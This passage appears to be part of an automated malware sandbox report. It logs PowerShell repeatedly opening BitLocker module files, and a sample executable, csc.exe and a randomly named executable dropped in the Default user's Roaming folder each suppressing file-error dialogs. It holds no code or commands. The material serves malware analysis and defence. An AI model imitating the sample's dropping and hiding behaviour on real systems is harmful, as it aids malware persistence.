Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
